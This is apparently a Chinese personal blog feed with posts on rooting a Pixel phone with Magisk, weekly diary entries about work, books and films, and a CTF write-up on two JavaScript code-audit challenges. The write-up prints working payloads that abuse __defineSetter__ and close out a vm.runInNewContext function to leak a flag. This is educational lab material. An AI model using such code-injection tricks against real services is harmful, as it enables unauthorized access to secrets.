3年时间,从学生到百大,我经历了什么?丨我的创业故事大狸子居然和毕业相差不到1年！初期的创业故事还是挺感动的，不过背后还是有很多隐藏的事并没有讲出来，不过被幸存者偏差误导了（讲真我在大学时连xbox是什么都不知道）
“网红打卡点”套路解析与实践 -【冷却报告】很有意思的视频，如果最后模特换成小姐姐，估计这个网红打卡点真的就成了
周报 44 - 静寂工人、xLog 与日常终于更新了哈，狗粮管饱🐶
一个独立创造者的五年
随身听和冰啤酒，流行乐与热咖啡，谁来定义经典设计？非正常读物 vol.4
“救救孩子……”—— 谈鲁迅和《狂人日记》
回形针解散两年了，他们怎么样了？

安卓手机root二三事

Sun, 20 Aug 2023 00:00:00 GMT

安卓手机root二三事

起因是这样的，很久之前（大概1年前吧），有一部Google Pixel5手机，是拿来做测试的。自然是少不了折腾，magisk、太极等都安排上。结果在一次操作失误后，把手机重置了。于是又只能重来一遍，结果在刷入Magisk的时候失败了，导致手机无限重启，当时还挺后悔，想着用不了了，后来就晾在一边没管了。

结果上周，心血来潮给手机充了个电，居然又能用了？时间居然真的可以修复bug吗🤣

https://twitter.com/rayepeng_/status/1691006785803673600?s=20

安卓这块确实不是很熟，于是决定恶补一下这里的知识

一些概念

OTA

OTA（Over-The-Air）映像是指通过无线方式传送到设备上的系统或应用更新包。OTA 更新允许设备制造商、运营商或应用开发者将更新推送到用户设备，而用户无需连接到计算机或使用其他外部工具。

简单来说就是平常系统升级的时候，通过无线的方式去下载获得的包。具体OTA升级原理是要看这个 android ota升级原理3，不过此处我们简单知道概念就好

Magisk 关于Magisk的原理，可以理解为magisk是挂载一个与系统文件隔离的文件系统来加载自定义内容，为系统分区打开了一个通往平行世界的入口，所有改动在那个世界（Magisk 分区）里发生，在必要的时候却又可以被认为是（从系统分区的角度而言）没有发生过。

既然跟分区相关，那就得了解下分区是什么类比Windows磁盘的分区，本质上是在磁盘上去划分一段段连续的存储区域，并且按照一定的格式来组织数据。就像Windows有启动分区一样，回顾下启动过程：

CPU执行BIOS初始化、自检等程序，加载磁盘内容到物理内存0x7c00处
从引导扇区的Boot程序开始执行
……

安卓本质上也是一个Linux系统，启动过程自然也是可以类比，那么这里就不难理解安卓的分区了：

boot 分区：包含启动加载器需要的所有信息，如内核。
system 分区：包含 Android 操作系统本身。
recovery 分区：包含恢复模式的代码，用于更新、备份或恢复系统。
userdata 分区：包含用户数据和应用程序。
cache 分区：用于存储临时数据和 OTA 更新。

这些信息往往写在磁盘最开的几个KB中，如果你了解mbr、gpt等磁盘分区表，就不难理解了在Windows上可以通过WinHex直接查看启动分区的内容，那么安卓如何操作呢？

可以通过dd命令：

adb shell su -c "dd if=/dev/block/bootdevice/by-name/boot_a of=/sdcard/boot.img"
adb pull /sdcard/boot.img

由于现在安卓系统支持 A/B 分区方案，即有两个独立的系统分区， boot_a 和 boot_b ，这样的设备可以在一个分区上运行系统，同时在另一个分区上进行后台更新，然后在下一次重启时切换到新的分区，从而实现无缝的系统更新。

注：本质上Linux一切皆文件，boot_a 实际指向的是 /dev/block 下的设备文件

redfin:/  ls -al /dev/block/bootdevice/by-name/boot_a
lrwxrwxrwx 1 root root 15 1970-01-04 03:33 /dev/block/bootdevice/by-name/boot_a -> /dev/block/sda6

那么这里Magisk要做什么也就呼之欲出了，本质上就是提取 boot.img 的内容，然后给它打patch，实现一个Magsik的分区

bootloader

如果还记得操作系统启动流程，那么bootloader实际上一个很重要的功能就是初始化内存、加载磁盘的引导分区。所以只要能进入 bootloader 界面，那么手机大概率都是有救的

adb reboot bootloader

fastboot

fastboot 类似于adb，可以与设备的 bootloader 通信。主要用来解锁，以及刷入

注意设备必须处于 bootloader 模式（也称为 fastboot 模式）才可以使用 fastboot

常用的 fastboot 命令：

fastboot devices：列出连接到计算机的设备
fastboot flash [partition] [filename]：刷写指定的分区。例如，要刷写 recovery 分区:

fastboot flash recovery recovery.img

fastboot boot [kernel] [ramdisk]：不直接刷写到设备，而是仅从给定的内核/ramdisk 引导
fastboot erase [partition]：擦除指定的分区
fastboot oem unlock：解锁设备的 bootloader

安装Magisk

大体上来说可以分为几个步骤

解锁bootloader
patch boot.img
刷入patch后的boot.img
通过Magisk Manage安装Magisk

第一步要看手机品牌而定，Google在这一块还算是比较开放的同时，Pixel最好的一点就是，官网已经提供好了设备的image：下载链接

只需要确定好手机版本号即可（不像小米，还需要有积分才能申请到开发版）

下载好，解压找到 boot.img ，传入手机，通过 Magisk Manage 打patch，导出。

从patch后的img启动，这个操作一般是没有风险的，如果直接覆盖则可能出问题（不过问题也不太大）

fastboot boot magisk_patched-26100_nRGcd.img
Sending 'boot.img' (98304 KB)                      OKAY [2.521s]
Booting                                            (bootloader) boot.img missing cmdline or OS version
OKAY [1.577s]
Finished. Total time: 4.145s

启动之后，此时就能临时获得root权限。当然重启后就会失效，因为重启后还是从原来的 boot.img 启动

这时候可以通过Magisk Manage刷入即可，这种方式相对来说更加安全

问题回顾

后来回顾了下，原来是这个问题：

https://twitter.com/rayepeng_/status/1691376215285010434

也有一些其他的解决方案，如关闭验证等，但是我尝试了没啥用就没管了

Magisk boot刷入无限重启问题

Magisk模块推荐（内空）

本来是应该要推荐一些的Magisk模块的，奈何我已经很少用安卓了，安装Magisk的目的也就是为了root而已🤣

刷了 Magisk 之后装什么？我推荐这 20+ 个模块

参考

玩机的必备操作 —— Pixel3 安装 Magisk [已解决]Pixel 4刷入Magisk在fastboot模式下找不到设备和如何救砖 [原创] 云手机底层技术揭密 : Android系统启动与Magisk原理 [原创] Magisk学习之刷入vbmeta.img及关闭avb2.0校验

周报11 博客，见字如面的浪漫

Sun, 13 Aug 2023 00:00:00 GMT

周报11 博客，见字如面的浪漫

这里记录的是raye在2023.8.7~2023.8.13的生活与思考

这是第十一篇周报了，也可以开始思考下我为什么要写周报这个问题了

其实也可以换个问法，我为什么要写博客？

这个问题好回答，很多人都给出过答案，这里我给个简单的答案：

这是互联网人的见字如面，是独属于我们心中的一份浪漫

曾经很喜欢董卿的那档节目——《朗读者》，诚哉，信件就是要读出来的，不读，则无感

马上相逢无纸笔，凭君传语报平安

可见，纸笔记录的是传语，而语言只有读出来才有其活力

那为什么要写周报呢？我很喜欢老蒋的那句话：

记忆是由那些不重要的东西，也就是——这一年我们见过的朋友，吃过的东西，去过的城市和街道，由那些意义不明，但是充满乐趣的周末和夜晚组成。正是这些闪亮的，非必要的事物，填充了被大事件框架搭起来的记忆宫殿

但这段话又失之于太过武断，凭什么记忆就一定是由不重要的东西组成的呢？

尽管谈论工作会显得有些千篇一律，但我觉得，生活的每一天，可以被你的阅读、运动、记录给填满，尽管这些时间或许不只能占到一天24小时的20%不到，但你在其中是欢乐的

其实，何必一定要追求这些呢，我们见过谁，吃过什么，去过哪里，这些终究都是一个载体，是引子，是回忆的对象。

人为什么不能两次踏入同一条河流呢？

因我思故我在，我在任一时刻的想法，都是组成了独一无二的我，因为我知道，这只是由我来思考的，是由我来想象的一方天地，是由我来描绘的一片星海，是由我来驰骋的一处领域

于是，我会将任何不同时刻的想法都快速记录下来，打上 周报 的标记，让我在周日的时候，有机会重新回到这个天地中，采摘果实；回到这片星海里，荡舟溯流；深入这处领域里，自由飘荡

是为本周周报序

📝 广州记录

本周周三的时候和同事去了一趟广州出差，其实并不是开会而是庆祝业务小目标突破了哈哈哈🤣。晚上毫无疑问的又要喝酒，这可能是我第一次喝这么醉吧，回酒店的路上还是吐了😅（主要是因为白酒+葡萄酒+红酒三种酒一起混着喝的）

本身自己也有很多感悟吧，来团队两年多了，大的贡献并没有，但是小的成绩也还是可以。而且下半年和leader定死了一个目标一定要实现，于是索性借着酒劲，拉着老板讲述着自己下半年一定要怎么做，让老板看出成绩（老板：你不要过来啊😊

中间还和我导师、leader三个人一起，互相鼓劲，下半年一定是把弦绷紧了，卯着劲往前冲的。当时突然想到庄子那句“虽千万人，吾往矣”，不由得脱口而出，算是当着leader的面立下军令状了哈哈哈哈

晚上被同事拖着回酒店（真的只剩一点残留的意识了），尽管才10点多，洗漱完倒头就睡了，都没来得及好好欣赏下珠江夜景~😂

不过早上5、6点就醒了（毕竟生物钟只让我睡7个小时），下床走路还是有些摇摇晃晃，不过恢复的也七七八八了。我们住的酒店有个超大落地窗，可以俯瞰珠江，欣赏广州的清晨（你见过凌晨5点的广州吗，我见过哈哈哈哈🐶）

不过这个酒店也就江景房这一点吸引人了吧，实际体验很拉胯，比如：

床头柜连插座都没有，为了不让你在床上玩手机真的操碎了心
早上起来一次性梳头发的也没有
房间整体感觉并不是很新，卫生打扫的也一般般
早餐还算行吧，中规中矩，也没有太多特色

给我的感觉还不如以前大学出去打比赛的时候住的宜家汉庭酒店呢哈哈哈哈

上周的周报回忆了自己的深圳生活，也顺便记录下自己对广州的记忆吧。第一次来广州还是实习的时候跟着导师来开会的，见了几个在广州工作的同学，感受到了广州的湿热天气，体验到了广州总部的食堂。

关于广州的天气，感觉还是马亲王写的最好，摘录如下：

广州这里气候炎热，三月便和长安五六月差不多。李善德走进城里，只觉得浑身都在冒汗，如蚂蚁附身一般。尤其是脖子那一圈，圆领被汗水泡软了，朝内折进，只要稍稍一转动，皮肉便磨得生疼。这广州城里的景致和长安可不太一样。墙上爬满藤蔓，屋旁侧立椰树，还有琴叶榕从墙头伸出来。街道两侧只要是空余处，便开满了木棉花、紫荆、栀子花、茶梅与各种叫不上名字的花，几乎没留空隙，近乎半个城市都被花草所淹没。

后来实习将要结束，独自一人来广州答辩，当天去当天回，一天将近5个小时的车程。当时还是有些伤感加担心的吧，害怕答辩不通过，无法留用。望着高速路上的灯光发呆，默默数着一颗颗飞离自己的行道树，我才意识到我的大学生活就剩一年了，已经是即将要迈入社会的人了

后来的结果自然是很好的，答辩通过后就留下来了，除了疫情稍稍放松的那段时间有来广州和同学一起玩过一次外，与广州的交集也比较少了（当天晚上还没买到回深圳的高铁票，于是打电话给广州这边的前leader，借住了一晚哈哈哈哈）。加上疫情后来严重了，也就基本没怎么来过了

那些逐渐失散的记忆，在这一次的旅程中，又慢慢回来了，是以记录如下，权做留念、

💭思考&杂记

xLogger

发了条Twitter~，纪念下自己成为xLogger之后粉丝数首次破百

比较遗憾的是技术文章发的好少，主要都集中在周报了。不过这也是因为技术类的文章我一般都很有洁癖，一般在写的时候回反复问自己，这个点到底弄清楚了没有，如果是自己都没有搞清楚的点一般都要弄清楚了才行

https://twitter.com/rayepeng_/status/1689618751338262528

也很开心自己的文章：构建个性化的数字日记：自动化工作流实现信息聚合能够帮助到好多好多人🥰

后续还打算写的，我先把flag立起来，放心都建好文件夹了😅

《自动化工作流补充》—— 自动化工作流有一些问题记录，作为后续《我为什么用Ulysses写作》——目前Ulysses已经是我的主力写作工具了，准备安利给更多的人《Raycast使用不完全指北》—— Raycast目前也在开发自己想要的插件，同时也是主力效率工具《JS、v8、浏览器、内存》——标题还没想好，主要是介绍JS内存这块的东西

最近也熟悉了xlog的代码，有个评论置顶的需求，准备实现下提个pr（我感觉评论置顶是刚需啊啊啊）

web3的一些想法

作为diygod的粉丝(划掉🐶)，这周听了他参与录制的一起播客： No.28 和xlog.app的作者DIYGOD聊区块链和博客平台、前端学习和生活感悟（虽然主持人的口音是不是有点重🤣但是不影响我学技术！）

于是也思考了下： web2.0时代，如知乎是把文章存在服务器上，因为最开始，维持服务器的费用要大于用户产生的价值？（这个论断可能不正确）

但本质上，随着平台用户的不断累积，规模效应+流量扩大之后，用户产生的价值实际是要远远大于服务器维持的费用（比如那些KOL）。这时候平台的监管其实很大程度上会损害创作者的利益

而web3解决的就是这个问题，web3则认为，用户产生的价值是至上的，是不能依赖第三方来存储的，所以要去中心化。而为了达到这个目的，毕竟要算哈希签名，故用户需要付费（当然在xlog上也是这样的，只不过可以领低保）

结合上面的论述，web3没用起来是由很多原因的，其中一点就是：

很多人都认为我就写那点点玩意，平台愿意给我流量我都千恩万谢了，我还要用web3来折腾？

这其实多少有点跪久了都不知道怎么站起来了，永远不要忽视了自己的价值

📺 追剧 & 📖阅读 & 🎧音乐

本周高强度刷完了 《八尺门的辩护人》，很少接触台剧的我，通过这部剧加深了对台湾的了解

要说起台湾，恐怕很多人也跟我一样，只知道九二共识、台独、蔡英文、自古以来等等

这就是可悲之处了，既然台湾是中国不可分割的一部分，何以我们对现代台湾的了解这么少呢？我觉得这是教育要反思的问题

在这部剧中，我看到了台湾的行政体系是怎么运作的，了解到台湾的经济支柱捕鱼业，才知道还有台湾原住民的说法。当然其揭露的阴暗面，已有点超出我的认知了。其实，看到这部剧的简介的时候，其结局就已经注定了是一个悲情英雄的故事，各方的势力博弈，台上台下，看得到看不到的操作，都在这部剧中呈现的淋漓尽致。是啊，以一人之力，终究只是个蚍蜉撼大树的故事，就算有“虽千万人，吾往矣”的凌云志，最后也会折翅于人间

另外本周很喜欢的一本书是《大汉帝国在巴蜀》，一言以蔽之，这本书最大的亮点在于从政治的角度去看战争，毕竟

一切战争都是政治的延续

本书有很多有意思的论述，摘录如下：

谈到《隆中对》时，作者认为这是一个军事构想，并没有严谨的政治论述。但他的军事论述确实被检验了一部分，即羽水淹七军，威震华夏。亮六出祁山，雍凉不卸甲，中国不释鞍。如果这两者真的能结合起来，历史可能又会多出一次以弱胜强的著名战役，汉中则又将多出一次成就帝业的典范

诸葛亮在分析形势时，对几大力量的分析和判断，均极清醒而透彻。但诸葛亮分析的主要是军事形势，尤其是军事地理形势，而非政治形势。与之相应，诸葛亮提出的是一套军事战略的构想。如果说军事战略的灵魂是政治指导，那么，政治层面的战略，其灵魂是天下为公的道义主张和判明善恶的价值诉求。《隆中对》通篇没有政治关系的分析，也没有价值评判，因而没有政治定位，也就没有政治指导。作为一套大战略构想，没有了政治指导，也就没有了灵魂。

谈到夷陵之战时，作者也叹息于刘备的政治水平。不管是从当时，还是事后的角度来看，这一点都无可厚非。但是刘备政权最可爱，最充满人性的地方就在于，他们是没有政治头脑的，他们是真的亲兄弟，手足情。这个政权之所以经常被扼腕叹息，其最可爱的地方，也就在这里。

刘备东征，伐孙权之罪，却仅止于伐孙权袭杀关羽和侵夺荆州地盘之罪。这大大降低了伐吴之战的政治水平。

最后是这首歌，好喜欢哈哈哈哈~

https://twitter.com/rayepeng_/status/1689847243241824256?s=20

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

两道有趣的JS代码审计题目

Sat, 12 Aug 2023 00:00:00 GMT

两道有趣的JS代码审计题目

converter

题目是一个网页，如下：

POST两个参数， Input 即输入的数据， converter 代表选择的转换器

分析源码，可以看到有三个 converter ，即代表着三种不同的encode方式，其中 flagConverter 里面有flag

但是限制了 request.body.converter，不能出现 FLAG

  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 20) {
    throw new Error('Too short :(');
  }

  if (request.body.input.length > 1000) {
    throw new Error('Too long :(');
  }

这里研究了之后确实不存在突破办法了🤣

分析

注意到真正调用 converter 的代码，我们输入的两个参数 req.body.converter 和 req.body.input，其中 req.body.converter 是作为 converters 的属性名，即我们可以控制 conveters的任意一个属性（除了这个属性名不能含有 FLAG 之外）

通过 await new Promise 代码是在尝试将回调式的异步操作转换为Promise风格的操作，以便使用 await 来等待执行结果，可以忽略

并且我们发现， converters 是一个 const 类型，并且每次执行 encode 操作，都会对 converters 做一次赋值（理论上直接写死就行了吧，没必要每次请求都这么干）

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

而我们知道，在JS中，虽然一个对象的属性看上去只有那么点，但是由于JS特有的原型链继承关系，就会导致 Object 对象的属性也被继承过来（因此可以逐一去对这些属性做尝试）

其中这个 __defineSetter__ 属性很有意思，有点类似反射，可以给对象的一个属性做一个代理，正常写法其实是这样的：

const obj = {
  a: 1
};

// 使用 __defineGetter__
obj.__defineSetter__('a', function(res) {
	console.log("get res: " + res);
});

如果我们定义了 setter ，那么后续赋值的时候，赋值等式的右边值就会作为 setter 函数的第一个参数传进来

所以，当我们输入 input= FLAG_***SESSION*** （input并没有不允许输入FLAG字符串），converter = __defineSetter__ 时，代码变为：

converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
});

这样当我们重写完对象的 FLAG_***SESSION*** 对应的 setter 时，这个网页先不动！

后续再新开一个网页去访问，此时触发：

converters[`FLAG_${request.session.sessionId}`] = flagConverter;

可以看到 flagConverter 就会作为第一个参数传入到函数

(error, result) => {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
}

此时 result 的结果自然就是 error , 即 flagConverter.toString() 的结果

回到我们的第一个网页，此时就能看到：

Kantan Calc

这道题目也很有意思，是我见过的JS代码审计中比较新颖的，巧妙地用沙箱逃逸来误导你，实际利用的是JS很常见的一个特性

CTF中的经典计算器前端：

看代码：

app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';
  console.log(code.length); // 打印输入的代码长度
  if (code && code.length < 30) {
    try {
      const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + '';
      if (output.includes('flag')) {
        output = 'Error: please do not exfiltrate the flag';
      }
    } catch (e) {
      output = 'Error: error occurred';
    }
  } else {
    output = 'Error: invalid code';
  }

  res.render('index', { title: 'Kantan Calc', output });
});

关键代码就是在 vm.runInNewContext 那一行，即输入的内容会被当做代码执行，比如输入 2*2

实际在vm中执行的代码就是：

'use strict';
(
	function(){
		return 2*2; /* flag{fake_flag} */
	}
)()

实际就是一个立即执行函数，但是这里要注意：

vm.runInNewContext('', Object.create(null))

Object.create(null) 实际上是创建了一个没有任何原型链的对象，是一个绝对“干净”的对象

因此，最常用的一种沙箱逃逸是没有办法了（我就懒得写了）

解法

在 JavaScript 中，可以通过将函数体转换为字符串来获取函数体：

function a() {}
console.log(a+'')
// "function a() {}"

这样就可以让代码内的flag注释信息打印出来了，但是就算打印出来还是会被后面的if给拦截，这应该怎么办呢？

答案就是数组，利用函数 toString 弱类型转换，返回char数组（绕开if检测），同时保证payload长度小于30

那么我们先直接闭合前面的函数，然后开一个新的函数，即输入：

},function p(){return[...p+1]

那么此时：

'use strict';
(
	function(){
		return 
	},
	function p(){return[...p+1]; /* flag{fake_flag} */
	}
)()

那么第二个函数p执行的时候，先执行加法，抓为字符串，然后解构为数组，就绕开了检测

在看wp的时候还发现有另一种思路：

[...arguments[0]+0]})(a=>{

实际执行的代码：

'use strict';
(
	function(){
		return [...arguments[0]+0]}
)
(a=>{
			; /* flag{fake_flag} */
	}
)()

等于先定义了一个函数

(
	function(){
		return [...arguments[0]+0]
	}
)

然后调用的时候传递了一个参数， (a => {;/*flag{fake_flag}*/})，那么自然这个函数就会被当做参数 arguments 传递进去，同样的道理（不过这种情况会报错了，因为返回的是个数组无法继续函数调用）

总结

这两道题目也都打包Docker镜像了，有需要的可以自取：

docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest

其实JS的很多特性都是可以用来出题的，但是却很少像PHP那样，有各种变种且好玩的代码审计题，后续准备在这里多思考下，尝试自己也出几道有趣的结合JS特性的审计题目

周报10 种一棵树，最好是十年前

Tue, 08 Aug 2023 00:00:00 GMT

周报10 种一棵树，最好是十年前

这里记录的是raye在 2023.7.31 ~ 2023.8.6 的生活、故事、感想

我发现我每周都在和拖延症做对抗，明明在内心中都计划好了，结果等到开始做的时候总会想出各种理由来为难自己。

这周刷到了何同学的视频虽然我早就因为各种原因不喜欢他并且不再关注他了，但是他这一期最新的视频确实让我受到一些启发，那就是任何事情，不管你借助多少外力，还是得需要你的内心真正迈出那一步。（尽管这道理很浅显，而且谁又不知道呢，我们从来都不是因为不知道某条道理而无法过好一生😂）

不知道阅读这篇文章的你是否也会有这种感觉：每当我要去汇报，去演讲，去见陌生人，明明早已做好准备，但心中的那步棋却始终迟疑不定，不肯落子

于是，我们害怕，害怕改变，这该死的惯性，驱使着我们，让我们找到了一个又一个的借口

于是我们怪罪于完美主义，怪罪于拖延症，怪罪于我们能找到的一切事物

心中的那一步，才是真正的那一步

降低预期，适当欺骗自己去开始，而不是踟蹰不前，不失为一种好的方法

于是，我也在周六就开始写这篇周报了，而不是拖到周日🐶（结果这篇周报还是拖到了今天周二才发🤔

毕竟，正如标题所说，种一棵树，最好是十年前，其次是现在

📝 回忆深圳

突然间想记录一下自己对深圳这座城市的一些想法

恍惚间从20年第一次来深圳，也有3年了，入职也已过了2周年，相比起年少的我，总是莫名多了些想要写的文字

20年5月，刚刚孤身一人从新疆回来的我，刚回家不到一个月就独自南下，来到一个熟悉又陌生的城市，深圳

其实并没有文字中所谓的那么悲壮，只不过在疫情时候，我的选择可以说是有些与众不同罢了，不过也确实在家待腻了

对深圳最直观的印象就是热，那是一种无法摆脱的热，是一种今后将一直伴随着我的热，是一种沉浸其中之后就浑然不知的热

于是，步履开始加快，眼光开始锐利，头脑开始清醒，奔波在这其中的人，目标似乎都很明确（漂亮的小姐姐也好多🐶

深圳的气息，不同于武汉，没有年轻人的小清新感，不同于长沙，没有普通人的接地气感，不同于西安，没有古都人的历史厚重感。

说白了，就是打工人生活的城市。日出而作，日落而息，这是深圳工作日不变的景象

在深圳并没有去过很多地方，除了日常的深圳湾，小山，小公园外，对这座城市，除了日常上班所必经的道路外，仿佛一切都还停留在最初的印象中

💭思考&杂记

感觉现在的周报有开始沦为记流水账的形式了，因此打算改一改，重点还是记录自己本周内的思考吧

randy大佬开发的 notepal 支持了 logseq 后，我就马上成为付费用户了😉

试验导出功能的时候，碰巧看到很早之前重读《解忧杂货店》所看到的一句话：

如果把来找我咨询的人比喻成迷途的羔羊，通常他们手上都有地图，却没有去看，或是不知道自己目前的位置。

当时的我愣住了，确实，这本书中所记录的每个个体，其实在向浪矢杂货店提问的时候，内心中都已经有了自己的想法，书中写信来求助的小人物，其实谁是真正按照浪矢老爷爷的路来走的呢？

自从有了chatGPT之后，我们不是也曾幻想着，通过chatGPT来做一些人类做不到的事情？甚而有说会有终极智能的出现，在我看来都只是一种笑话（我反正讨厌这种说法😒

毕竟我们问chatGPT的问题，很多时候我们内心中早已有了答案

每个人手中都有自己的地图，只是有些人不愿意去面对，假装自己手里的地图不存在，或者期待有更好的地图，其实，地图终究是那个，只有你看待地图的方式可以改变

🏃🏻‍♀️跑步

再一次挑战十公里，加油😊

我刚写完这句话就去跑了，结果半个小时Apple Watch记录了4公里都没到，严重怀疑手表GPS信号问题😭

实锤了，kepp记录的才是对的😅

📺 追剧 & 📖阅读

本周倒是没怎么追剧，都把时间花在阅读上面了，这里做一些记录：

《太白金星有点烦》

这本书咋说呢，虽然评价都很高，我也觉得写的还可以。但奈何我对里面的神仙一个都认不清，更不用说神仙之间的算计了。但最精彩的地方在于，它真的描绘出一副职场上勾心斗角的画面，确如一部《官场现形记》。如何解决人事纠纷，如何解决同事矛盾，如何拐弯抹角，哪怕是神仙，都逃不过这其中的因果。撇开这些不谈，我最佩服的还是亲王的想象力了，读《西游记》的过程中，你或多或少会有这样的疑问，为啥那些妖怪最后到头来都是天上神仙的坐骑、宠物下凡？亲王给了一个很好的回答，其实它们本来就是来打工的🤣

更多的影射梗可以看这里：https://book.douban.com/review/15227484/

另外一本书便是 《饥饿的盛世：乾隆时代的得与失》

这本书读着读着是最痛心的，但我又能说什么呢，只能是边看边叹息。

其实要想读懂中国这几千年背后的历史，是有很大难度的，我现在已经尽可能地从好几个方面去了解了

皇权与相权，我最开始是不懂为什么一定要划分的，以及后续的中央集权到底是为什么？
中国的地理，为什么相比欧洲，中国一定是一个统一的国家，这背后有很多地理要素，如气候、地形等等

纯摘录几处内容吧，有些感想过了段时间就忘了…🫠

那个老太监跑来问我，听说那个漂亮的高座是给车夫坐的，皇帝的座位在车厢里面，他面带讥笑地问道，难道我认为大皇帝会容忍有人坐得比他还高、把背冲向他吗？他想知道，我们是不是有办法把那个驭座拆下来，移到车厢的后面去。

狭隘腐朽的观念啊，确实不可理喻🤣

英国天文学家在皇帝面前卖力地做着各种示范。他将一块金属放在透镜前面，一会儿工夫，金属熔化了。皇帝十分惊奇，由此得出了结论：“无论透光镜或望远镜的原料都是玻璃，同一种东西通过欧洲人的技巧而做出不同功能的仪器来。

如今外国人直接闯到天津大沽来告御状，显然是有中国人在背后给出主意，至少也是顾问。要不然，外国人怎么会对告御状这么门儿清？此事必须查清楚。因此，李侍尧在调查广州海关的同时，倒将更多的精力用于调查到底哪些中国人在英国人告状过程中提供了帮助。

统一盛世的弊端，明明万象升平，却始终怀疑是不是暗流涌动，一点风吹草动就要追根究底。

阅读的时候，或多或少想到了现在的情形，XX要上升到路线之争，上升到国家层面的对抗，全是境外势力的阴谋，这一点和乾隆盛世好像也没多大差别吧

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

如何拥有真实的美国手机号 | 从免费到超贵，总有一天用得到如何拥有真实的美国手机号，之前也折腾过gvoice，但是都不长久，就放弃了（虽然我也不清楚有个美国手机号有啥用🤣
ChatGPT 一大波更新要来了 chatGPT的更新还是挺期待的，毕竟我已经成为一个重度依赖用户了
Pake - 利用 Rust 轻松构建轻量级应用利用rust构建轻量级应用的最佳实践，学习
这些知名UP主今年最喜欢的歌竟然是..? LKS整活一向是有点东西的
一个发现Prompt的网站可以调试Prompt
练习英语对话的网站，使用AI这个网站感觉还有点意思，不过要付费了

Include Video in the Posts

Tue, 01 Aug 2023 00:00:00 GMT

Just copy the embed code from YouTube or other platforms, and paste it in the markdown file.

---
title: Include Video in the Post
published: 2023-10-19
// ...
---

<iframe width="100%" height="468" src="https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_" title="YouTube video player" frameborder="0" allowfullscreen></iframe>

YouTube

Bilibili

周报9 在随笔中回忆自我

Mon, 31 Jul 2023 00:00:00 GMT

周报9 在随笔中回忆自我

这里记录的是raye在 2023.7.23 ~ 2023.7.28 的生活、故事、感想

最近很想总结一下2023年上半年的生活，可惜想法一直在脑海中盘旋，却无法落地

本周其实过的不算太愉快，周二、周三、周四连续多天摆烂，就像一个深陷泥潭的人，没有任何可供我抓住借力的稻草

于是开始回忆起自己为什么要记录，记录了些什么。我还记得我最开始折腾博客是在大二时候，那是开始用hexo+Github Pages

不过，我更新最多的好像还是简书，萍水间人，前后居然写了160篇文章（虽然简书现在完全就是个lj网站）

第一篇文章写于2018年11月，当时我的很多实验步骤，还帮助了班上很多同学（起因是他们很多实验不会做，于是去网上找，结果发现有一个id叫萍水间人的，写了很详细的步骤，后来发现竟然是我🤣）

其实也写了很多随笔，可能当时写下来的时候没什么，觉得这些杂念，自己肯定会经常记得的，不写也没事，感谢自己幸好写下来了，让我能够回忆起来

我想在博客的周报中尽可能真实的表达自我，记录我心中的感受，不管这是乐观的或者是丧的，或者是愤怒的

只为了某一天，当我重新回过头来看看的时候，能了解到当时的那个人，是怎样生活的

人生如逆旅，我亦是行人，但我希望能在逆旅中能留下更多的痕迹

🏃🏻‍♀️跑步

上周日写完周报就去跑步了，久违了！（实际上是有个活动，而我因为拖延症拖到最后一天才开始跑😓

好久没跑十公里了，累的不行，中间几次都跑不下去只能慢慢走了😭

但我还是很喜欢这种感觉，有着一个明确的目标，和自己比拼，挑战耐力的极限，享受这种放空的感觉

🎬 长安三万里

终于去看了《长安三万里》，接近3个小时的观影体验，没有任何遗憾了，彻底填满了我对这段历史的所有幻想

剧情安排上我感觉有点像《看不见的客人》，都是靠一个人的讲述，并且会不断提示你时间不够了，结尾自然是迎来了一个反转

但我真正的感悟还不在这，当我离开电影院，在地铁上，总觉得有一些东西非写不可，于是写下了这段文字：

《长安三万里》电影的第一个视角便是一只老鹰，《刺客信条长安》实锤了

你要写李白，就不能只写李白，要写高适和他相知，要写李林甫妒忌他，要写杜甫崇拜他，要写郭子仪感恩他，要写玄宗不待见他。

我很喜欢从高适的这个视角来看李白的一生：

杜甫太小，更多的是偶像崇拜贺知章太老，大鹏折翅，无力背负青天王维太冷，世俗虽喧嚣，热血早已凉透

李白的一生，真真硬照出了蒋捷的《听雨》：少年听雨歌楼上，红烛昏罗帐…

可当你第一次知道刀不止能做美味佳肴，雄伟如黄鹤楼，也会坍塌，二十四桥，也终将被叛军的兵锋给刺穿。千金博得一笑，终是个笑话

这江南的水，太柔；这塞北的雪，太冷

高适是幸运的，有太多的人，终老一生等不来那个机会

柳永，等不来那个机会，穷困潦倒中，奉旨填词杜甫，等不来那个机会，成都草堂里，茅庐悲鸣陆游，等不来那个机会，铁马冰河梦，身老沧州

高适，终迎来了他的那个机会。玉在椟中求善价，枪横马鞍待时挥

赵客缦胡缨吴钩霜雪明。银鞍照白马飒沓如流星。

👀 QTX展览

主要是好奇，并不太喜欢盲盒、潮玩这些玩意，但还是想去看看😃

并没有拍多少，重点都在薅羊毛了（因为只要关注或者发一篇小红书笔记就能获得礼品，如编织袋、明信片、小玩意之类的

随便放两张我挺喜欢的，不过都买不起了😅

☕️ AGI茶话会

简单和读书会的小伙伴们聊了聊关于AGI的一些探讨，发现大佬们准备的好充分啊瑟瑟发抖，而且自己的视野、思考范围也确实有点窄了，比如很多GPT相关的应用我实际也没有去主动思考和发现😑

有几个收获及思考点：

如果未来GPT代表的人工智能真正超过了人类，是否能完成 “心理史学”预测个人行为？
有没有一个类似“图灵测试”能区分真正的人工智能（其实要看这个问题怎么定义了）
GPT去除掉限制后，为什么推理能力还会上升？https://mp.weixin.qq.com/s/BI-QB2Jf2dtUpTeqNK9QvA
